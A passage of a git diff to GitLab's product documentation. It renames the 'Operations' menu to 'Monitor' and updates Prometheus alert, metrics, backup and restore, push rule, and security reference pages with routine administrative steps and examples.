@@ the issue can potentially [publish comments to your GitLab Status Page](#publish After creating the CI/CD variables, configure the Project you want to use for Incident issues: -1. To view the [Operations Settings](../../user/project/settings/#operations-settings) - page, navigate to **{settings}** **Settings > Operations > Status Page**. -1. Fill in your cloud provider's credentials and make sure the **Active** checkbox is checked. -1. Click **Save changes**. +1. To view the Status Page settings, navigate to **{settings}** **Settings > Monitor > Status Page**. +1. Fill in your cloud provider's credentials and make sure to select the **Active** checkbox. +1. Select **Save changes**. ## How to use your GitLab Status Page @@ -131,7 +130,7 @@ A background worker publishes the issue onto the Status Page using the credentia you provided during setup. As part of publication, GitLab: - Anonymizes user and group mentions with `Incident Responder`. -- Removes titles of non-public [GitLab references](../../user/markdown.md#special-gitlab-references). +- Removes titles of non-public [GitLab references](../../user/markdown.md#gitlab-specific-references). - Publishes any files attached to incident issue descriptions, up to 5000 per issue. ([Introduced in GitLab 13.1](https://gitlab.com/gitlab-org/gitlab/-/issues/205166).) diff --git a/doc/operations/index.md b/doc/operations/index.md index 934634562fc..d170e82dd7f 100644 --- a/doc/operations/index.md +++ b/doc/operations/index.md @@ -4,10 +4,10 @@ group: Monitor info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Project operations **(FREE)** +# Monitor application performance **(FREE)** GitLab provides a variety of tools to help operate and maintain -your applications: +your applications. ## Measure reliability and stability with metrics @@ -73,7 +73,7 @@ production services. GitLab provides centralized, aggregated log storage for you distributed application, enabling you to collect logs across multiple services and infrastructure. -- [View logs of pods or managed applications](../user/project/clusters/kubernetes_pod_logs.md) +- [View logs of pods](../user/project/clusters/kubernetes_pod_logs.md) in connected Kubernetes clusters. ## Manage your infrastructure in code diff --git a/doc/operations/metrics/alerts.md b/doc/operations/metrics/alerts.md index 09cfea06198..16cfb05ad9a 100644 --- a/doc/operations/metrics/alerts.md +++ b/doc/operations/metrics/alerts.md @@ -25,7 +25,7 @@ For managed Prometheus instances using auto configuration, you can [configure alerts for metrics](index.md#adding-custom-metrics) directly in the [metrics dashboard](index.md). To set an alert: -1. In your project, navigate to **Operations > Metrics**, +1. In your project, navigate to **Monitor > Metrics**, 1. Identify the metric you want to create the alert for, and click the **ellipsis** **{ellipsis_v}** icon in the top right corner of the metric. 1. Choose **Alerts**. @@ -39,7 +39,15 @@ To remove the alert, click back on the alert icon for the desired metric, and cl ### Link runbooks to alerts -> Runbook URLs [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/39315) in GitLab 13.3. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/39315) in GitLab 13.3. +> - [Deprecated](https://gitlab.com/groups/gitlab-org/-/epics/5877) in GitLab 13.11. +> - [Removed](https://gitlab.com/groups/gitlab-org/-/epics/4280) in GitLab 14.0. + +WARNING: +Linking runbooks to alerts through the alerts UI is [deprecated](https://gitlab.com/groups/gitlab-org/-/epics/5877) +and scheduled for [removal in GitLab 14.0](https://gitlab.com/groups/gitlab-org/-/epics/4280). +However, you can still add runbooks to your alert payload. They show up in the alert UI when the +alert is triggered. When creating alerts from the metrics dashboard for [managed Prometheus instances](#managed-prometheus-instances), you can also link a runbook. When the alert triggers, the @@ -72,14 +80,16 @@ section of your Prometheus Alertmanager configuration: ```yaml receivers: - name: gitlab - webhook_configs: - - http_config: - bearer_token: 9e1cbfcd546896a9ea8be557caf13a76 - send_resolved: true - url: http://192.168.178.31:3001/root/manual_prometheus/prometheus/alerts/notify.json - # Rest of configuration omitted - # ... + - name: gitlab + webhook_configs: + - http_config: + authorization: + type: Bearer + credentials: 9e1cbfcd546896a9ea8be557caf13a76 + send_resolved: true + url: http://192.168.178.31:3001/root/manual_prometheus/prometheus/alerts/notify.json + # Rest of configuration omitted + # ... ``` For GitLab to associate your alerts with an [environment](../../ci/environments/index.md), @@ -100,7 +110,7 @@ Prometheus server to use the Alerts can be used to trigger actions, like opening an issue automatically (disabled by default since `13.1`). To configure the actions: -1. Navigate to your project's **Settings > Operations > Incidents**. +1. Navigate to your project's **Settings > Monitor > Alerts**. 1. Enable the option to create issues. 1. Choose the [issue template](../../user/project/description_templates.md) to create the issue from. 1. Optionally, select whether to send an email notification to the developers of the project. diff --git a/doc/operations/metrics/dashboards/img/metrics_dashboard_template_selection_v13_3.png b/doc/operations/metrics/dashboards/img/metrics_dashboard_template_selection_v13_3.png Binary files differindex cad075ca421..1571ab9de90 100644 --- a/doc/operations/metrics/dashboards/img/metrics_dashboard_template_selection_v13_3.png +++ b/doc/operations/metrics/dashboards/img/metrics_dashboard_template_selection_v13_3.png diff --git a/doc/operations/metrics/dashboards/index.md b/doc/operations/metrics/dashboards/index.md index 7b056020a99..d7b748034d5 100644 --- a/doc/operations/metrics/dashboards/index.md +++ b/doc/operations/metrics/dashboards/index.md @@ -20,14 +20,14 @@ or [duplicate a GitLab-defined Prometheus dashboard](#duplicate-a-gitlab-defined You can configure a custom dashboard by adding a new YAML file into your project's `.gitlab/dashboards/` directory. For the dashboard to display on your project's -**Operations > Metrics** page, the files must have a `.yml` +**Monitor > Metrics** page, the files must have a `.yml` extension and be present in your project's **default** branch. To create a new dashboard from the GitLab user interface: 1. Sign in to GitLab as a user with Maintainer or Owner [permissions](../../../user/permissions.md#project-members-permissions). -1. Navigate to your dashboard at **Operations > Metrics**. +1. Navigate to your dashboard at **Monitor > Metrics**. 1. In the top-right corner of your dashboard, click the **{ellipsis_v}** **More actions** menu, and select **Create new**:  @@ -60,7 +60,7 @@ To create a new dashboard from the command line: ``` 1. Save the file, commit, and push to your repository. The file must be present in your **default** branch. -1. Navigate to your project's **Operations > Metrics** and choose the custom +1. Navigate to your project's **Monitor > Metrics** and choose the custom dashboard from the dropdown. Your custom dashboard is available at `https://example.com/project/-/metrics/custom_dashboard_name.yml`. @@ -217,8 +217,46 @@ links: ## Troubleshooting -When troubleshooting issues with a managed Prometheus app, it is often useful to -[view the Prometheus UI](../../../user/project/integrations/prometheus.md#access-the-ui-of-a-prometheus-managed-application-in-kubernetes). +### Accessing the UI of Prometheus in Kubernetes + +When troubleshooting issues with an in-cluster Prometheus, it can help to +view the Prometheus UI. In the example below, we assume the Prometheus +server to be the pod `prometheus-prometheus-server` in the `gitlab-managed-apps` +namespace: + +1. Find the name of the Prometheus pod in the user interface of your Kubernetes + provider, such as GKE, or by running the following `kubectl` command in your + terminal. For example: + + ```shell + kubectl get pods -n gitlab-managed-apps | grep 'prometheus-prometheus-server' + ``` + + The command should return a result like the following example, where + `prometheus-prometheus-server-55b4bd64c9-dpc6b` is the name of the Prometheus pod: + + ```plaintext + gitlab-managed-apps prometheus-prometheus-server-55b4bd64c9-dpc6b 2/2 Running 0 71d + ``` + +1. Run a `kubectl port-forward` command. In the following example, `9090` is the + Prometheus server's listening port: + + ```shell + kubectl port-forward prometheus-prometheus-server-55b4bd64c9-dpc6b 9090:9090 -n gitlab-managed-apps + ``` + + The `port-forward` command forwards all requests sent to your system's `9090` port + to the `9090` port of the Prometheus pod. If the `9090` port on your system is used + by another application, you can change the port number before the colon to your + desired port. For example, to forward port `8080` of your local system, change the + command to: + + ```shell + kubectl port-forward prometheus-prometheus-server-55b4bd64c9-dpc6b 8080:9090 -n gitlab-managed-apps + ``` + +1. Open `localhost:9090` in your browser to display the Prometheus user interface. ### "No data found" error on Metrics dashboard page diff --git a/doc/operations/metrics/dashboards/settings.md b/doc/operations/metrics/dashboards/settings.md index e998db6b51b..0e467623e05 100644 --- a/doc/operations/metrics/dashboards/settings.md +++ b/doc/operations/metrics/dashboards/settings.md @@ -21,7 +21,7 @@ time zone, but you can display dates and times in UTC format. To change the time zone: 1. Sign in as a user with Manage Project Operations [permissions](../../../user/permissions.md). -1. Navigate to **Settings > Operations**. +1. Navigate to **Settings > Monitor**. 1. Scroll to **Metrics Dashboard** and click **Expand**. 1. In the **Dashboard timezone** select box, select *User's local timezone* or *UTC*: @@ -37,7 +37,7 @@ You can add a button on your monitoring dashboard that links directly to your existing external dashboards: 1. Sign in as a user with Manage Project Operations [permissions](../../../user/permissions.md). -1. Navigate to **Settings > Operations**. +1. Navigate to **Settings > Monitor**. 1. Scroll to **Metrics Dashboard** and click **Expand**. 1. In **External dashboard URL**, provide the URL to your external dashboard: diff --git a/doc/operations/metrics/embed_grafana.md b/doc/operations/metrics/embed_grafana.md index ff92997e44b..473b335d4c5 100644 --- a/doc/operations/metrics/embed_grafana.md +++ b/doc/operations/metrics/embed_grafana.md @@ -47,7 +47,7 @@ format. To embed panels from a Grafana instance, the data source must be: To set up the Grafana API in Grafana: 1. In Grafana, [generate an Admin-level API Token](https://grafana.com/docs/grafana/latest/http_api/auth/#create-api-token). -1. In your GitLab project, go to **Settings > Operations** and expand the **Grafana authentication** +1. In your GitLab project, go to **Settings > Monitor** and expand the **Grafana authentication** section. 1. To enable the integration, check the **Active** checkbox. 1. For **Grafana URL**, enter the base URL of the Grafana instance. diff --git a/doc/operations/metrics/index.md b/doc/operations/metrics/index.md index 8ff45ac4015..09bc3237cb6 100644 --- a/doc/operations/metrics/index.md +++ b/doc/operations/metrics/index.md @@ -16,10 +16,10 @@ critical. For GitLab to display your information in charts, you must: For an overview, see [How to instrument Prometheus metrics in GitLab](https://www.youtube.com/watch?v=tuI2oJ3TTB4). 1. **Expose metrics for capture** - Make logs, metrics, and traces available for capture. 1. [**Configure Prometheus to gather metrics**](#configure-prometheus-to-gather-metrics) - - Deploy managed applications like Elasticsearch, Prometheus, and Jaeger to gather + Use applications like Elasticsearch, Prometheus, and Jaeger to gather the data you've exposed. 1. **GitLab collects metrics** - GitLab uses Prometheus to scrape the data you've - captured in your managed apps, and prepares the data for display. To learn more, read + captured in your applications, and prepares the data for display. To learn more, read [Collect and process metrics](#collect-and-process-metrics). 1. **Display charts in the GitLab user interface** - GitLab converts your metrics into easy-to-read charts on a default dashboard. You can create as many custom charts @@ -34,30 +34,10 @@ your Prometheus integration depends on where your apps are running: - **For manually-configured Prometheus** - [Specify your Prometheus server](../../user/project/integrations/prometheus.md#manual-configuration-of-prometheus), and define at least one environment. -- **For GitLab-managed Prometheus** - GitLab can - [deploy and manage Prometheus](../../user/project/integrations/prometheus.md#managed-prometheus-on-kubernetes) for you. - You must also complete a code deployment, as described in - [Deploy code with GitLab-managed Prometheus](#deploy-code-with-gitlab-managed-prometheus), - for the **Operations > Metrics** page to contain data. - -### Deploy code with GitLab-managed Prometheus - -For GitLab-managed Prometheus, you can set up [Auto DevOps](../../topics/autodevops/index.md) -to quickly create a deployment: - -1. Navigate to your project's **Operations > Kubernetes** page. -1. Ensure that, in addition to Prometheus, you also have GitLab Runner and Ingress - installed. -1. After installing Ingress, copy its endpoint. -1. Navigate to your project's **Settings > CI/CD** page. In the - **Auto DevOps** section, select a deployment strategy and save your changes. -1. On the same page, in the **Variables** section, add a variable named - `KUBE_INGRESS_BASE_DOMAIN` with the value of the Ingress endpoint you - copied previously. Leave the type as **Variable**. -1. Navigate to your project's **{rocket}** **CI/CD > Pipelines** page, and run a - pipeline on any branch. -1. When the pipeline has run successfully, graphs are available on the - **Operations > Metrics** page. +- **For a cluster integrated Prometheus** - GitLab can query + [an in-cluster Prometheus](../../user/clusters/integrations.md#prometheus-cluster-integration). + You must also complete a code deployment to your cluster for the **Monitor > Metrics** + page to contain data. You can do this using [Auto DevOps](../../topics/autodevops/quick_start_guide.md).  @@ -77,7 +57,7 @@ To view the [default metrics dashboard](dashboards/default.md) for an environmen 1. *If the metrics dashboard is only visible to project members,* sign in to GitLab as a member of a project. Learn more about [metrics dashboard visibility](#metrics-dashboard-visibility). -1. In your project, navigate to **Operations > Metrics**. +1. In your project, navigate to **Monitor > Metrics**. GitLab displays the [default metrics dashboard](dashboards/default.md) for the environment, like the following example: diff --git a/doc/operations/product_analytics.md b/doc/operations/product_analytics.md index db6dc13607b..c89500ab92c 100644 --- a/doc/operations/product_analytics.md +++ b/doc/operations/product_analytics.md @@ -52,7 +52,7 @@ user interface: 1. Sign in to GitLab as a user with Reporter or greater [permissions](../user/permissions.md). -1. Navigate to **Operations > Product Analytics** +1. Navigate to **Monitor > Product Analytics**. The user interface contains: diff --git a/doc/operations/tracing.md b/doc/operations/tracing.md index a6647641527..7435c0dd8a2 100644 --- a/doc/operations/tracing.md +++ b/doc/operations/tracing.md @@ -34,7 +34,7 @@ GitLab provides an easy way to open the Jaeger UI from within your project: 1. [Set up Jaeger](https://www.jaegertracing.io) and configure your application using one of the [client libraries](https://www.jaegertracing.io/docs/latest/client-libraries/). -1. Navigate to your project's **Settings > Operations** and provide the Jaeger URL. +1. Navigate to your project's **Settings > Monitor** and provide the Jaeger URL. 1. Click **Save changes** for the changes to take effect. -1. You can now visit **Operations > Tracing** in your project's sidebar and GitLab redirects you to +1. You can now visit **Monitor > Tracing** in your project's sidebar and GitLab redirects you to the configured Jaeger URL. diff --git a/doc/policy/maintenance.md b/doc/policy/maintenance.md index 217618c1771..d8b36fcaa6d 100644 --- a/doc/policy/maintenance.md +++ b/doc/policy/maintenance.md @@ -24,10 +24,10 @@ releases](#backporting-to-older-releases) for more information. GitLab uses [Semantic Versioning](https://semver.org/) for its releases: `(Major).(Minor).(Patch)`. -For example, for GitLab version 12.10.6: +For example, for GitLab version 13.10.6: -- `12` represents the major version. The major release was 12.0.0 but often referred to as 12.0. -- `10` represents the minor version. The minor release was 12.10.0 but often referred to as 12.10. +- `13` represents the major version. The major release was 13.0.0 but often referred to as 13.0. +- `10` represents the minor version. The minor release was 13.10.0 but often referred to as 13.10. - `6` represents the patch number. Any part of the version number can increment into multiple digits, for example, 13.10.11. @@ -55,13 +55,13 @@ one major version. For example, it is safe to: - Upgrade the *minor* version. For example: - - `12.7.5` -> `12.10.5` - - `11.3.4` -> `11.11.1` + - `13.7.5` -> `13.10.5` + - `12.3.4` -> `12.10.11` - Upgrade the *patch* version. For example: - - `12.0.4` -> `12.0.12` - - `11.11.1` -> `11.11.8` + - `13.0.4` -> `13.0.12` + - `12.10.1` -> `12.10.8` NOTE: Version specific changes in Omnibus GitLab Linux packages can be found in [the Omnibus GitLab documentation](https://docs.gitlab.com/omnibus/update/README.html#version-specific-changes). @@ -119,7 +119,7 @@ release, depending on the severity of the bug. The decision on whether backporting a change will be performed is done at the discretion of the [current release managers](https://about.gitlab.com/community/release-managers/), similar to what is -described in the [managing bugs](https://gitlab.com/gitlab-org/gitlab/blob/master/PROCESS.md#managing-bugs) process, +described in the [managing bugs](https://gitlab.com/gitlab-org/gitlab/-/blob/master/PROCESS.md#managing-bugs) process, based on *all* of the following: 1. Estimated [severity](../development/contributing/issue_workflow.md#severity-labels) of the bug: @@ -131,8 +131,8 @@ based on *all* of the following: If *all* of the above are satisfied, the backport releases can be created for the current stable release, and two previous monthly releases. In rare cases a release manager may grant an exception to backport to more than two previous monthly releases. -For instance, if we release `11.2.1` with a fix for a severe bug introduced in -`11.0.0`, we could backport the fix to a new `11.0.x`, and `11.1.x` patch release. +For instance, if we release `13.2.1` with a fix for a severe bug introduced in +`13.0.0`, we could backport the fix to a new `13.0.x`, and `13.1.x` patch release. To request backporting to more than one stable release for consideration, raise an issue in the [release/tasks](https://gitlab.com/gitlab-org/release/tasks/-/issues/new?issuable_template=Backporting-request) issue tracker. @@ -149,6 +149,8 @@ This decision is made on a case-by-case basis. ## More information -More information about the release procedures can be found in our -[release documentation](https://gitlab.com/gitlab-org/release/docs). You may also want to read our -[Responsible Disclosure Policy](https://about.gitlab.com/security/disclosure/). +You may also want to read our: + +- [Release documentation](https://gitlab.com/gitlab-org/release/docs) describing release procedures +- [Deprecation guidelines](../development/deprecation_guidelines/index.md) +- [Responsible Disclosure Policy](https://about.gitlab.com/security/disclosure/) diff --git a/doc/push_rules/push_rules.md b/doc/push_rules/push_rules.md index db190797d0a..34a63f425eb 100644 --- a/doc/push_rules/push_rules.md +++ b/doc/push_rules/push_rules.md @@ -82,14 +82,19 @@ See [server hooks](../administration/server_hooks.md) for more information. ## Enabling push rules -NOTE: -GitLab administrators can set push rules globally under -**Admin Area > Push Rules** that all new projects inherit. You can later -override them in a project's settings. They can be also set on a [group level](../user/group/index.md#group-push-rules). +You can create push rules for all new projects to inherit, but they can be overridden +at the project level or the [group level](../user/group/index.md#group-push-rules). + +To create global push rules: + +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. In the left sidebar, select **Push rules**. + +To override global push rules in a project's settings: -1. Navigate to your project's **Settings > Repository** and expand **Push rules** -1. Set the rule you want -1. Click **Save Push Rules** for the changes to take effect +1. Navigate to your project's **Settings > Repository** and expand **Push rules**. +1. Set the rule you want. +1. Select **Save Push Rules** for the changes to take effect. The following options are available: @@ -143,7 +148,7 @@ pushed to a repository. The list stops those commits from reaching the remote re By selecting the checkbox *Prevent committing secrets to Git*, GitLab prevents pushes to the repository when a file matches a regular expression as read from -[`files_denylist.yml`](https://gitlab.com/gitlab-org/gitlab/blob/master/ee/lib/gitlab/checks/files_denylist.yml) (make sure you are at the right branch +[`files_denylist.yml`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/ee/lib/gitlab/checks/files_denylist.yml) (make sure you are at the right branch as your GitLab version when viewing this file). NOTE: diff --git a/doc/raketasks/README.md b/doc/raketasks/README.md index c815842480c..488d86f129d 100644 --- a/doc/raketasks/README.md +++ b/doc/raketasks/README.md @@ -1,5 +1,6 @@ --- redirect_to: 'index.md' +remove_date: '2021-05-11' --- This document was moved to [another location](index.md). diff --git a/doc/raketasks/backup_restore.md b/doc/raketasks/backup_restore.md index 74e254d864e..1e130c67724 100644 --- a/doc/raketasks/backup_restore.md +++ b/doc/raketasks/backup_restore.md @@ -63,6 +63,12 @@ including: - Snippets - Group wikis **(PREMIUM)** +Backups do not include: + +- [Terraform state files](../administration/terraform_state.md) +- [Package registry files](../administration/packages/index.md) +- [Mattermost data](https://docs.mattermost.com/administration/config-settings.html#file-storage) + WARNING: GitLab does not back up any configuration files, SSL certificates, or system files. You are highly advised to read about [storing configuration files](#storing-configuration-files). @@ -116,7 +122,7 @@ Similar to the Kubernetes case, if you have scaled out your GitLab cluster to use multiple application servers, you should pick a designated node (that isn't auto-scaled away) for running the backup Rake task. Because the backup Rake task is tightly coupled to the main Rails application, this is typically a node -on which you're also running Unicorn/Puma or Sidekiq. +on which you're also running Puma or Sidekiq. Example output: @@ -367,7 +373,7 @@ sudo -u git -H bundle exec rake gitlab:backup:create GITLAB_BACKUP_MAX_CONCURREN You can let the backup script upload (using the [Fog library](http://fog.io/)) the `.tar` file it creates. In the following example, we use Amazon S3 for storage, but Fog also lets you use [other storage providers](http://fog.io/storage/). -GitLab also [imports cloud drivers](https://gitlab.com/gitlab-org/gitlab/blob/da46c9655962df7d49caef0e2b9f6bbe88462a02/Gemfile#L113) +GitLab also [imports cloud drivers](https://gitlab.com/gitlab-org/gitlab/-/blob/da46c9655962df7d49caef0e2b9f6bbe88462a02/Gemfile#L113) for AWS, Google, OpenStack Swift, Rackspace, and Aliyun. A local driver is [also available](#uploading-to-locally-mounted-shares). @@ -922,7 +928,6 @@ Stop the processes that are connected to the database. Leave the rest of GitLab running: ```shell -sudo gitlab-ctl stop unicorn sudo gitlab-ctl stop puma sudo gitlab-ctl stop sidekiq # Verify @@ -990,7 +995,6 @@ For Docker installations, the restore task can be run from host: ```shell # Stop the processes that are connected to the database -docker exec -it <name of container> gitlab-ctl stop unicorn docker exec -it <name of container> gitlab-ctl stop puma docker exec -it <name of container> gitlab-ctl stop sidekiq diff --git a/doc/security/README.md b/doc/security/README.md index 83073a4951c..6af3948fdcf 100644 --- a/doc/security/README.md +++ b/doc/security/README.md @@ -6,7 +6,7 @@ comments: false type: index --- -# Security +# Security **(FREE)** - [Password storage](password_storage.md) - [Password length limits](password_length_limits.md) @@ -23,7 +23,7 @@ type: index - [Send email confirmation on sign-up](user_email_confirmation.md) - [Security of running jobs](https://docs.gitlab.com/runner/security/) - [Proxying images](asset_proxy.md) -- [CI/CD variables](cicd_variables.md) +- [CI/CD variables](../ci/variables/README.md#cicd-variable-security) - [Token overview](token_overview.md) - [Project Import decompressed archive size limits](project_import_decompressed_archive_size_limits.md) diff --git a/doc/security/asset_proxy.md b/doc/security/asset_proxy.md index 7774f5e0635..d6b85eb5c9f 100644 --- a/doc/security/asset_proxy.md +++ b/doc/security/asset_proxy.md @@ -4,10 +4,10 @@ group: unassigned info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments --- -# Proxying assets +# Proxying assets **(FREE SELF)** -A possible security concern when managing a public facing GitLab instance is -the ability to steal a users IP address by referencing images in issues, comments, etc. +A possible security concern when managing a public-facing GitLab instance is +the ability to steal a users IP address by referencing images in issues and comments. For example, adding `` to an issue description causes the image to be loaded from the external @@ -18,7 +18,7 @@ One way to mitigate this is by proxying any external images to a server you control. GitLab can be configured to use an asset proxy server when requesting external images/videos/audio in -issues, comments, etc. This helps ensure that malicious images do not expose the user's IP address +issues and comments. This helps ensure that malicious images do not expose the user's IP address when they are fetched. We currently recommend using [cactus/go-camo](https://github.com/cactus/go-camo#how-it-works) diff --git a/doc/security/cicd_environment_variables.md b/doc/security/cicd_environment_variables.md index 7de2e17c0f9..49b10af6c1d 100644 --- a/doc/security/cicd_environment_variables.md +++ b/doc/security/cicd_environment_variables.md @@ -1,5 +1,6 @@ --- redirect_to: 'cicd_variables.md' +remove_date: '2021-05-15' --- This document was moved to [another location](cicd_variables.md). diff --git a/doc/security/cicd_variables.md b/doc/security/cicd_variables.md index 4ef8129da2a..b429b1435be 100644 --- a/doc/security/cicd_variables.md +++ b/doc/security/cicd_variables.md @@ -1,13 +1,9 @@ --- -stage: Secure -group: None -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +redirect_to: '../ci/variables/README.md#cicd-variable-security' +remove_date: '2021-07-04' --- -# CI/CD Variables +This document was moved to [another location](../ci/variables/README.md#cicd-variable-security). -CI/CD variables are applied to environments via the runner and can be set from the project's **Settings > CI/CD** page. - -The values are encrypted using [`aes-256-cbc`](https://en.wikipedia.org/wiki/Advanced_Encryption_Standard) and stored in the database. - -This data can only be decrypted with a valid [secrets file](../raketasks/backup_restore.md#when-the-secrets-file-is-lost). +<!-- This redirect file can be deleted after <2021-07-04>. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/security/crime_vulnerability.md b/doc/security/crime_vulnerability.md index 9a43f5dfca8..a8dee8f589a 100644 --- a/doc/security/crime_vulnerability.md +++ b/doc/security/crime_vulnerability.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# How we manage the TLS protocol CRIME vulnerability +# How we manage the TLS protocol CRIME vulnerability **(FREE SELF)** [CRIME](https://en.wikipedia.org/w/index.php?title=CRIME&oldid=692423806) is a security exploit against secret web cookies over connections using the HTTPS and SPDY protocols that also @@ -23,7 +23,7 @@ GitLab supports both Gzip and [SPDY](http://nginx.org/en/docs/http/ngx_http_spdy vulnerability by deactivating Gzip when HTTPS is enabled. The sources of the files are here: -- [Source installation NGINX file](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/support/nginx/gitlab-ssl) +- [Source installation NGINX file](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/support/nginx/gitlab-ssl) - [Omnibus installation NGINX file](https://gitlab.com/gitlab-org/omnibus-gitlab/blob/master/files/gitlab-cookbooks/gitlab/templates/default/nginx-gitlab-http.conf.erb) Although SPDY is enabled in Omnibus installations, CRIME relies on compression diff --git a/doc/security/information_exclusivity.md b/doc/security/information_exclusivity.md index a2571895e45..69223b5edb9 100644 --- a/doc/security/information_exclusivity.md +++ b/doc/security/information_exclusivity.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: concepts --- -# Information exclusivity +# Information exclusivity **(FREE)** Git is a distributed version control system (DVCS). This means that everyone who works with the source code has a local copy of the complete repository. diff --git a/doc/security/password_length_limits.md b/doc/security/password_length_limits.md index 05ddb0a2823..847656d8d17 100644 --- a/doc/security/password_length_limits.md +++ b/doc/security/password_length_limits.md @@ -5,17 +5,18 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference, howto --- -# Custom password length limits +# Custom password length limits **(FREE SELF)** -By default, GitLab supports passwords with: +By default, GitLab supports passwords with the following lengths: -- A minimum length of 8. -- A maximum length of 128. +- Minimum: 8 characters +- Maximum: 128 characters GitLab administrators can modify password lengths: -- Using the GitLab UI. **[From](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/20661) GitLab 12.6 this is the only available option.** -- Using configuration file. **Up to GitLab 12.5**. +- Using the GitLab UI. [From](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/20661) GitLab + 12.6, this is the only available option. +- Using configuration file. Up to GitLab 12.5. Changing the minimum or maximum length does not affect existing user passwords. Existing users are not asked to reset their password to adhere to the new limits. The new limit restriction applies @@ -29,11 +30,13 @@ The user password length is set to a minimum of 8 characters by default. To change the minimum password length using GitLab UI: -1. Go to **Admin Area > Settings**, then select **Sign-up restrictions**. +1. On the top bar, select **Menu >** **{admin}** **Admin**. +1. On the left sidebar, select **Settings > General** and expand **Sign-up restrictions**.  -1. Input a **Minimum password length** value greater than or equal to 8, then select **Save changes**. +1. Enter a **Minimum password length** value greater than or equal to `8`. +1. Select **Save changes**. ## Modify maximum password length using configuration file diff --git a/doc/security/password_storage.md b/doc/security/password_storage.md index af4b57e342a..7d8ac3bad39 100644 --- a/doc/security/password_storage.md +++ b/doc/security/password_storage.md @@ -1,16 +1,25 @@ --- -stage: none -group: unassigned +stage: Manage +group: Access info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- -# Password Storage +# Password storage **(FREE)** -GitLab stores user passwords in a hashed format, to prevent passwords from being visible. +GitLab stores user passwords in a hashed format to prevent passwords from being +stored as plain text. -GitLab uses the [Devise](https://github.com/heartcombo/devise) authentication library, which handles the hashing of user passwords. Password hashes are created with the following attributes: +GitLab uses the [Devise](https://github.com/heartcombo/devise) authentication +library to hash user passwords. Created password hashes have these attributes: -- **Hashing**: the [`bcrypt`](https://en.wikipedia.org/wiki/Bcrypt) hashing function is used to generate the hash of the provided password. This is a strong, industry-standard cryptographic hashing function. -- **Stretching**: Password hashes are [stretched](https://en.wikipedia.org/wiki/Key_stretching) to harden against brute-force attacks. GitLab uses a stretching factor of 10 by default. -- **Salting**: A [cryptographic salt](https://en.wikipedia.org/wiki/Salt_(cryptography)) is added to each password to harden against pre-computed hash and dictionary attacks. Each salt is randomly generated for each password, so that no two passwords share a salt, to further increase security. +- **Hashing**: The [`bcrypt`](https://en.wikipedia.org/wiki/Bcrypt) hashing + function is used to generate the hash of the provided password. This is a + strong, industry-standard cryptographic hashing function. +- **Stretching**: Password hashes are [stretched](https://en.wikipedia.org/wiki/Key_stretching) + to harden against brute-force attacks. By default, GitLab uses a stretching + factor of 10. +- **Salting**: A [cryptographic salt](https://en.wikipedia.org/wiki/Salt_(cryptography)) + is added to each password to harden against pre-computed hash and dictionary + attacks. To increase security, each salt is randomly generated for each + password, with no two passwords sharing a salt. diff --git a/doc/security/passwords_for_integrated_authentication_methods.md b/doc/security/passwords_for_integrated_authentication_methods.md index 9b1664f0e8c..7c4ada4435c 100644 --- a/doc/security/passwords_for_integrated_authentication_methods.md +++ b/doc/security/passwords_for_integrated_authentication_methods.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference --- -# Generated passwords for users created through integrated authentication +# Generated passwords for users created through integrated authentication **(FREE)** GitLab allows users to set up accounts through integration with external [authentication and authorization providers](../administration/auth/README.md). diff --git a/doc/security/project_import_decompressed_archive_size_limits.md b/doc/security/project_import_decompressed_archive_size_limits.md index e37191d842f..6510cf459be 100644 --- a/doc/security/project_import_decompressed_archive_size_limits.md +++ b/doc/security/project_import_decompressed_archive_size_limits.md @@ -5,9 +5,10 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference, howto --- -# Project Import Decompressed Archive Size Limits +# Project import decompressed archive size limits **(FREE SELF)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/31564) in GitLab 13.2. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/31564) in GitLab 13.2. +> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/63025) in GitLab 14.0. When using [Project Import](../user/project/settings/import_export.md), the size of the decompressed project archive is limited to 10Gb. @@ -15,7 +16,6 @@ If decompressed size exceeds this limit, `Decompressed archive size validation f ## Enable/disable size validation -Decompressed size validation is enabled by default. If you have a project with decompressed size exceeding this limit, it is possible to disable the validation by turning off the `validate_import_decompressed_archive_size` feature flag. diff --git a/doc/security/rack_attack.md b/doc/security/rack_attack.md index d80de92501e..6d2725d1ec1 100644 --- a/doc/security/rack_attack.md +++ b/doc/security/rack_attack.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference, howto --- -# Rack Attack initializer +# Rack Attack initializer **(FREE SELF)** [Rack Attack](https://github.com/kickstarter/rack-attack), also known as Rack::Attack, is a Ruby gem that is meant to protect GitLab with the ability to customize throttling and diff --git a/doc/security/rate_limits.md b/doc/security/rate_limits.md index 157600c15fb..e698341b4b5 100644 --- a/doc/security/rate_limits.md +++ b/doc/security/rate_limits.md @@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w type: reference, howto --- -# Rate limits +# Rate limits **(FREE SELF)** NOTE: For GitLab.com, please see diff --git a/doc/security/ssh_keys_restrictions.md b/doc/security/ssh_keys_restrictions.md index 0875ce82e61..55eeaae5458 